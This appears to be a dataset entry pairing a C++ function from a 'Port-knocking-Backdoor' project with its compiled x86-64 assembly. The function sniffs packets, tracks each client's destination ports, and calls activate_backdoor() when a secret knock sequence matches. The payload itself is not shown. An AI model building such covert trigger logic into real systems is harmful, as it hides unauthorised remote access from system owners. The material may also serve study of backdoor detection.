// File: sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: ProcessPacket(unsigned char*, int)
void ProcessPacket(unsigned char* buffer, int size) {
	struct client_req req;
	struct iphdr *iph;
	struct udphdr *udph;
	struct tcphdr *tcph;
	unsigned short iphdrlen;
	__u16 dest_port;
	std::map<client_req, int>::iterator next_port_index;

	//Get the IP Header
	iph = (struct iphdr*)(buffer +  sizeof(struct ethhdr));
	//iph = (struct iphdr*)buffer;

	iphdrlen = iph->ihl*4;
	req.sip = iph->saddr;
	req.dip = iph->daddr;
	
	//printf("\nSource IP        : %d\n", req.sip);
	//printf("Destination IP   : %d\n", req.dip);
	
	if(iph->protocol == IPPROTO_UDP) {
		//Get the UDP Header
		udph = (struct udphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
		//udph = (struct udphdr*)(buffer + iphdrlen);
		
		req.sport = ntohs(udph->source);
		dest_port = ntohs(udph->dest);
	} else if(iph->protocol == IPPROTO_TCP) {
		//Get the UDP Header
		tcph = (struct tcphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
		//tcph = (struct tcphdr*)(buffer + iphdrlen);
		
		req.sport = ntohs(tcph->source);
		dest_port = ntohs(tcph->dest);
	} else {
		//printf("unknown transport layer protocol\n");
		return;
	}

	//printf("Source Port      : %d\n", req.sport);
	//printf("Destination Port : %d\n", dest_port);
	
	next_port_index = client_req_state.find(req);
	if(next_port_index == client_req_state.end()) {   // first packet

		if(dest_port == port_knocking_seq[0]) { // dport in sequence

			//printf("found match for 1st port in the sequence\n");
			
			if(port_knocking_seq.size() == 1)
				activate_backdoor();
			else
				client_req_state[req] = 1;  
		} 
	} else {
		if(dest_port == port_knocking_seq[next_port_index->second]) { // dport in sequence

			if(port_knocking_seq.size() - 1 == next_port_index->second) {

				activate_backdoor();
				client_req_state[req] = 0;

			} else	{

				client_req_state[req]++;
				//printf("port sequence correct so far\n");
				//printf("index of next dport %d\n", client_req_state[req]);
				//printf("Next expected dport: %hu\n", port_knocking_seq[client_req_state[req]]);

			}   
		} else { // dport not in sequence, reset

			client_req_state[req] = 0;
			//printf("port sequence broken, reset\n");

		} 
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x60, %rsp
movq %rdi, -0x8(%rbp)
movl %esi, -0xc(%rbp)
leaq -0x40(%rbp), %rdi
callq 0x2b00
movq -0x8(%rbp), %rax
addq $0xe, %rax
movq %rax, -0x20(%rbp)
movq -0x20(%rbp), %rax
movb (%rax), %al
andb $0xf, %al
movzbl %al, %eax
shll $0x2, %eax
movw %ax, -0x32(%rbp)
movq -0x20(%rbp), %rax
movl 0xc(%rax), %eax
movl %eax, -0x18(%rbp)
movq -0x20(%rbp), %rax
movl 0x10(%rax), %eax
movl %eax, -0x14(%rbp)
movq -0x20(%rbp), %rax
movzbl 0x9(%rax), %eax
cmpl $0x11, %eax
jne 0x2640
movq -0x8(%rbp), %rax
movzwl -0x32(%rbp), %ecx
movslq %ecx, %rcx
addq %rcx, %rax
addq $0xe, %rax
movq %rax, -0x28(%rbp)
movq -0x28(%rbp), %rax
movzwl (%rax), %edi
callq 0x2240
movw %ax, -0x10(%rbp)
movq -0x28(%rbp), %rax
movzwl 0x2(%rax), %edi
callq 0x2240
movw %ax, -0x34(%rbp)
jmp 0x268d
movq -0x20(%rbp), %rax
movzbl 0x9(%rax), %eax
cmpl $0x6, %eax
jne 0x2686
movq -0x8(%rbp), %rax
movzwl -0x32(%rbp), %ecx
movslq %ecx, %rcx
addq %rcx, %rax
addq $0xe, %rax
movq %rax, -0x30(%rbp)
movq -0x30(%rbp), %rax
movzwl (%rax), %edi
callq 0x2240
movw %ax, -0x10(%rbp)
movq -0x30(%rbp), %rax
movzwl 0x2(%rax), %edi
callq 0x2240
movw %ax, -0x34(%rbp)
jmp 0x268b
jmp 0x27ce
jmp 0x268d
leaq 0x5af4(%rip), %rdi      # 0x8188
leaq -0x18(%rbp), %rsi
callq 0x2b20
movq %rax, -0x48(%rbp)
movq -0x48(%rbp), %rax
movq %rax, -0x40(%rbp)
leaq 0x5ad8(%rip), %rdi      # 0x8188
callq 0x2b80
movq %rax, -0x50(%rbp)
leaq -0x40(%rbp), %rdi
leaq -0x50(%rbp), %rsi
callq 0x2b50
testb $0x1, %al
jne 0x26cc
jmp 0x2726
movzwl -0x34(%rbp), %eax
movl %eax, -0x54(%rbp)
leaq 0x5a96(%rip), %rdi      # 0x8170
xorl %eax, %eax
movl %eax, %esi
callq 0x2bb0
movq %rax, %rcx
movl -0x54(%rbp), %eax
movzwl (%rcx), %ecx
cmpl %ecx, %eax
jne 0x2721
leaq 0x5a79(%rip), %rdi      # 0x8170
callq 0x2bd0
cmpq $0x1, %rax
jne 0x2709
callq 0x27e0
jmp 0x271f
leaq 0x5a78(%rip), %rdi      # 0x8188
leaq -0x18(%rbp), %rsi
callq 0x2bf0
movl $0x1, (%rax)
jmp 0x2721
jmp 0x27ce
movzwl -0x34(%rbp), %eax
movl %eax, -0x58(%rbp)
leaq -0x40(%rbp), %rdi
callq 0x2cd0
movslq 0xc(%rax), %rsi
leaq 0x5a2f(%rip), %rdi      # 0x8170
callq 0x2bb0
movq %rax, %rcx
movl -0x58(%rbp), %eax
movzwl (%rcx), %ecx
cmpl %ecx, %eax
jne 0x27b6
leaq 0x5a16(%rip), %rdi      # 0x8170
callq 0x2bd0
subq $0x1, %rax
movq %rax, -0x60(%rbp)
leaq -0x40(%rbp), %rdi
callq 0x2cd0
movq %rax, %rcx
movq -0x60(%rbp), %rax
movslq 0xc(%rcx), %rcx
cmpq %rcx, %rax
jne 0x279d
callq 0x27e0
leaq 0x59fc(%rip), %rdi      # 0x8188
leaq -0x18(%rbp), %rsi
callq 0x2bf0
movl $0x0, (%rax)
jmp 0x27b4
leaq 0x59e4(%rip), %rdi      # 0x8188
leaq -0x18(%rbp), %rsi
callq 0x2bf0
movl (%rax), %ecx
addl $0x1, %ecx
movl %ecx, (%rax)
jmp 0x27cc
leaq 0x59cb(%rip), %rdi      # 0x8188
leaq -0x18(%rbp), %rsi
callq 0x2bf0
movl $0x0, (%rax)
jmp 0x27ce
addq $0x60, %rsp
popq %rbp
retq
nopw %cs:(%rax,%rax)